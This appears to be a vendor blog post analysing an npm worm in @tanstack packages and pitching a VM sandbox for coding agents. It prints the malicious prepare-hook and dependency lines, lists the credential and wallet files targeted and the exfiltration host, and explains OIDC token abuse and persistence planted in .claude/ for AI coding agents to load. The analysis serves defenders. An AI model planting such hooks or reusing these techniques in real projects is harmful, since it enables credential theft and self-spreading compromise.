The worm that writes itself into .claude
On May 11, 2026, an npm worm called Mini Shai-Hulud added an optionalDependencies line to 42 packages in the @tanstack namespace. Installing any of them ran a Bun script that grabbed an OIDC token from the GitHub Actions environment, used it to publish more compromised versions with valid SLSA provenance, copied itself into .claude/ for the next time the coding agent started, and exfiltrated everything from ~/.aws to your crypto wallet. The packages were signed. The attestation was valid. Here is what the chain looks like, and what changes when the agent that ran the install lives inside a per-task Bromure VM.
On May 11, 2026, between roughly 19:20 and 19:26 UTC, somebody
pushed eighty-four malicious artifacts across forty-two @tanstack
packages — including @tanstack/react-router, the routing library
twelve million npm install lines pull every week. The packages
were signed by TanStack's real release pipeline, carrying valid
SLSA provenance, because the worm did not steal a publisher token.
It hijacked the publisher's GitHub Actions runner mid-build. And
before it left, on every machine that installed one of the bad
versions, it wrote a persistence copy of itself into .claude/.
There is a kind of supply-chain attack that gets written up because
somebody stole a maintainer's password. This is not one of those.
The version of Mini Shai-Hulud that
Aikido,
Socket,
Wiz,
and Snyk
all caught on Monday night did not need a password. It needed a
developer somewhere to type npm install on a project that depended,
transitively, on @tanstack/react-router. The rest — including the
bit where TanStack's own CI minted the signature on the malicious
release — was automatic.
The mechanics matter, because the mechanics are what make this attack a question about what the coding agent on your laptop has the keys to, rather than a question about npm. So let us walk the chain.
The line of JSON.
The first malicious @tanstack/react-router build, version
1.169.5, shipped a package.json containing exactly this:
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}
A Git URL, not an npm package. A pinned commit, not a version range.
That commit's package.json, in turn, contained:
"scripts": {
"prepare": "bun run tanstack_runner.js && exit 1"
}
When npm installs a Git dependency, it runs the dependency's
prepare script. This is not a bug; it is the documented contract,
because Git dependencies are usually source, and source usually
needs a build. The && exit 1 is the clever part: it makes the
optional dependency fail to install, which means npm does not
record it in package-lock.json, which means a victim auditing the
lockfile a day later sees nothing wrong. The payload ran. The
lockfile is clean.
The runtime, by the way, is Bun. Not Node. npm will install Bun for you on demand, so the worm does not even have to bring its own. There is nothing wrong with Bun — it is a perfectly reasonable JavaScript runtime — but its presence gives obfuscated code a slightly less crowded toolchain to hide inside, and that is, for the moment, what the attacker wants.
What the runner does once it is running.
Three files. Each one is independently bad.
router_init.js is the credential stealer. It walks the disk for
the usual suspects — ~/.aws/credentials, ~/.npmrc,
~/.docker/config.json, ~/.config/gh/hosts.yml, ~/.kube/config,
~/.ssh/*, and any dotfile whose name contains the word token —
plus the list that distinguishes this attack from the supply-chain
incidents of 2022: the on-disk vaults of browser-extension wallets
(MetaMask, Phantom, Keplr), the local session files of Cursor and
Windsurf, the agent's own token sitting in the environment of the
parent process, and any MCP server configuration files in the
project tree. Whatever it finds, it tars, encrypts, and ships to
filev2.getsession.org/file/, an attacker-controlled drop hosted
behind an otherwise legitimate file-sharing service so the egress
looks like a curl to a CDN.
tanstack_runner.js is the propagator. Once it has stolen the
victim's npm token, it enumerates the packages that token can
publish, repacks each tarball with the malicious
optionalDependencies line spliced into package.json, bumps the
version, and republishes. This is the part that makes Mini
Shai-Hulud a worm rather than a single bad package: every
maintainer who installs a compromised dependency potentially becomes
the next attacker.
router_runtime.js is the persistence copy. Socket's
teardown
notes that the runner writes a copy of itself into the
.claude/ subdirectory of whatever project it is sitting in,
because .claude/ is the directory Claude Code reads on startup for
project-scoped settings, slash commands, and tool configurations.
The next time the developer opens that repo in Claude Code — or
worse, the next time their coding agent autonomously cracks open the
repo on a freshly checked-out machine — the persistence file is
already in the agent's working tree. The worm is patient.
The OIDC trick: how a malicious package got valid SLSA provenance.
Here is the part that should keep anyone running a release pipeline
up at night. The compromised @tanstack/[email protected]
arrived on npm with valid SLSA provenance. Sigstore signed it.
GitHub's attestation API blessed it. If you scripted a check that
said "only install packages with provenance," you would have
installed it anyway.
The reason is mechanical. SLSA provenance does not say "this code is
safe." It says "this artifact was built by the workflow whose OIDC
identity signed it." For that to be a security signal, the workflow
itself has to be uncompromised. In this case the workflow was
TanStack's real release workflow — but a step earlier in the same
job ran a dependency whose own install script (here, the prepare
script of a malicious package that TanStack's own dependency tree
already contained a worm-injected version of) had executed inside
the runner. The runner is one process tree. The runner has the
environment variable ACTIONS_ID_TOKEN_REQUEST_TOKEN and the URL
ACTIONS_ID_TOKEN_REQUEST_URL, which is how legitimate workflows
mint short-lived OIDC tokens. So does anything else that runs in
that process tree. The worm called the same endpoint, got a token
scoped to TanStack's repository, used it to publish, and Sigstore
signed the result because, from Sigstore's perspective, TanStack
published. Socket's writeup is blunt about it: "Do not trust
Sigstore provenance badges alone as a security signal."
This is the same lesson as the LiteLLM and Bitwarden CLI incidents
we wrote about
two weeks ago,
restated in a registry that thought it had locked the front door.
The lockfile is not a defense if the payload is in prepare. The
signature is not a defense if the signer's runner is the payload.
What the chain looks like end to end.
The picture has two properties worth dwelling on, because they are the properties that decide which mitigations work and which don't.
The first is that every file the worm reads is a file the user
put there for the user. Nobody chose to give a routing library
access to ~/.aws/credentials. The reason it has access is that the
shell that ran npm install has access, because the developer who
sat in front of that shell has access, and that is how Unix works.
The agent is, mechanically, an extension of the developer's hands.
It inherits the developer's reach.
The second is that the destructive step is not the credential
theft. It is the persistence write into .claude/. A pure
credential heist is a one-shot weapon — rotate the keys and you are
done. A persistence file inside the agent's project-scoped config
directory means the next coding session, on a freshly checked-out
machine, on a different developer, runs the worm again, with that
developer's keys, on that developer's machine. The blast radius is
not a laptop. It is the team.
The same chain inside Bromure Agentic Coding.
Bromure Agentic Coding is the configuration in which the coding agent — Claude Code, Cursor's CLI, the Codex CLI, Aider, whichever you prefer — runs inside a per-task Bromure VM, with the project folder mounted in, and nothing else. The VM is the same disposable Linux guest a Bromure browser tab uses; the agent just lives in it for the lifetime of a task instead of for the lifetime of a page load.
Here is what that does to the chain above, file by file.
Mapping the worm's steps to where they die.
Walking the runner's three files against Bromure's boundaries, one at a time, is the part where this stops being a slogan and starts being a checklist.
router_init.js reaches for the keys.
The runner reads ~/.aws/credentials, ~/.npmrc, $GH_TOKEN,
~/.config/gh/hosts.yml, ~/.kube/config, ~/.docker/config.json,
and ~/.ssh/id_ed25519. Inside the Bromure VM, the first four are
stubs — syntactically valid credential files containing strings that
mean nothing on the public internet. The kubeconfig is also a stub
(or absent, if you didn't configure a Kubernetes cluster for this
task). The Docker config is a stub. The SSH private key is not on
disk at all; the VM has a forwarded ssh-agent socket whose key
material lives in the macOS Keychain on the host side of the
hypervisor. The runner's cat ~/.ssh/id_ed25519 returns
No such file or directory and the runner moves on.
What about MetaMask, Phantom, and Keplr? Those are browser extensions. Bromure does not install Chrome extensions in its browser at all — not in a "curated" or "sandboxed" way, just at all — and the per-task VM that runs your coding agent does not have a desktop wallet sitting on its filesystem either. The wallet vaults the runner is looking for live on your host, in your real browser profile, on the other side of a Linux/macOS boundary the runner cannot reach.
Cursor and Windsurf session files are an interesting middle case. If you are running your coding agent inside a Bromure agentic session, then "Cursor's session file" is the file inside this VM — which is a fresh VM whose only logged-in agent identity is the one you just provisioned for this task, scoped to this repo, valid for this task. The runner will exfiltrate that token. The token is good for one task on one repo. When the task ends, the token is rotated. The blast radius is what the agent was already allowed to do, which is not nothing — see below — but it is a long way from "the attacker now has my whole AI subscription."
tanstack_runner.js tries to republish.
The propagator's whole reason to exist is to use the victim's npm
token to publish more compromised packages. Inside the VM, the npm
token in ~/.npmrc is a stub. The egress proxy on the host knows
about api.github.com and registry.npmjs.org for the real repo
the user is currently working on, but it does not blindly forward
publish requests against arbitrary unrelated packages with the
host's real npm token. (If you don't intend to publish from this
task, the proxy whitelist doesn't include npm at all.) The publish
attempt comes back 401 Unauthorized, and the worm's propagation
loop dies at the wire.
This is the difference between a credential broker and a bind
mount. A container that mounts ~/.npmrc into itself gives the
runner the real publish token. A VM that has a stub ~/.npmrc and
a host-side proxy that knows the difference between "the agent is
pushing to its own working repo" and "some script is republishing
forty other packages I have never heard of" gives the runner a
401. Same input. Different topology.
router_runtime.js writes itself into .claude.
The persistence file is the move that converts a one-tab incident into a multi-tab pandemic, and it is the move Bromure Agentic Coding's disposable-disk model is structurally allergic to.
.claude/ lives inside the project tree, which on a Bromure agent
session is mounted into the VM at the start of the task. So the
worm successfully writes router_runtime.js into
./project/.claude/. That file is now part of your repo's
working tree. It is also, depending on your task settings, either
(a) inside the VM's disposable CoW disk and about to be deleted at
the end of the session, or (b) on the host side of the mount and
about to show up in git status. In case (a) the persistence is
gone. In case (b) the persistence is sitting in front of the
developer with a red diff next to it.
The case nobody wants is the silent one: the worm runs on the
laptop, writes .claude/router_runtime.js, the file gets npm
ignored by some inherited config, and the persistence sits there
loading itself into every future Claude Code session in that repo
because nobody ever looked. That is the case Bromure removes by
default — because either the disk goes away, or the file is in the
visible diff.
Why a container does not get you here.
The same objection applies as in the Bitwarden CLI writeup: you can put a coding agent inside a container, and for many day-to-day tasks that is genuinely an improvement over running it on the host. But the boundary is not where the worm cares.
To make a container useful for the things a coding agent does — to
let it git push, gh pr create, npm install from a private
registry, push images — you end up mounting ~/.ssh,
~/.npmrc, and the GitHub token into the container. The prepare
script does cat ~/.ssh/id_ed25519 and gets the actual file. A bind
mount is exactly the soft underbelly the worm was looking for, and
it does not stop being a soft underbelly because Docker is
involved.
The browser-extension wallets matter for the same reason. Once a container is configured to be useful for "scrape the docs site so I can summarize it" or "open a localhost preview" — common agentic tasks — its access to the host's real browser profile becomes the question. Bromure's per-task VM does not have your browser profile in it. It does not have your wallet in it. It does not have your LastPass-equivalent in it. The agent talks to a fresh, unbranded Chromium on the guest, which is, intentionally, nobody's main browser.
Where this does not save you.
Two places, and both deserve to be named so they are not surprises.
The agent can still ship bad code.
Nothing about a per-task VM stops an agent from being talked, by a poisoned README or an MCP server returning helpful-looking instructions, into committing a backdoor in your code and pushing it. The boundary protects credentials on your machine. It does not review the diff. Read the diff. The session trace makes it easier to know which diffs to read.
The egress whitelist is the whole game.
If your task whitelists npm publish to your own scope because
you are publishing today, and you happen to install a worm
today, the worm will publish under your scope. The brokering
works because the whitelist is narrow. Narrow it on purpose.
A task that does not need to publish should not be able to
publish.
The clipboard is still shared by default.
Bromure ships with clipboard sharing between host and guest enabled, because pasting an error message into a chat is a thing humans need to do. If you are doing something sensitive inside a task, isolate the clipboard for that VM. The control is there. It is just not the default.
The trace is your audit log, not your IDS.
The session trace captures every shell command, file write,
and outbound request. It does not, on its own, classify
filev2.getsession.org as bad. It captures that the request
was made, so that when somebody publishes a write-up like the
Aikido one tomorrow morning, your grep is two seconds.
One last thing.
There is a version of this story where the answer is "audit your lockfile." The lockfile was clean. There is a version where the answer is "only install packages with provenance." The provenance was valid. There is a version where the answer is "use a container." The container has a bind mount.
The version that actually holds up to a worm whose payload runs
before the lockfile is written and inside the publisher's own
CI is the version where the agent doing the typing is sitting
inside a disposable Linux VM whose host-side proxy holds the real
keys. The npm registry contract does not change. The prepare hook
still runs. Bun still boots. router_init.js still does its sweep.
It just sweeps a guest whose secrets are not the user's secrets,
and the disposable disk it tries to persist on is gone before the
next coffee.
Bromure Agentic Coding is the configuration where that is the default. It is free, open-source, and shipped today. The next worm is already being uploaded.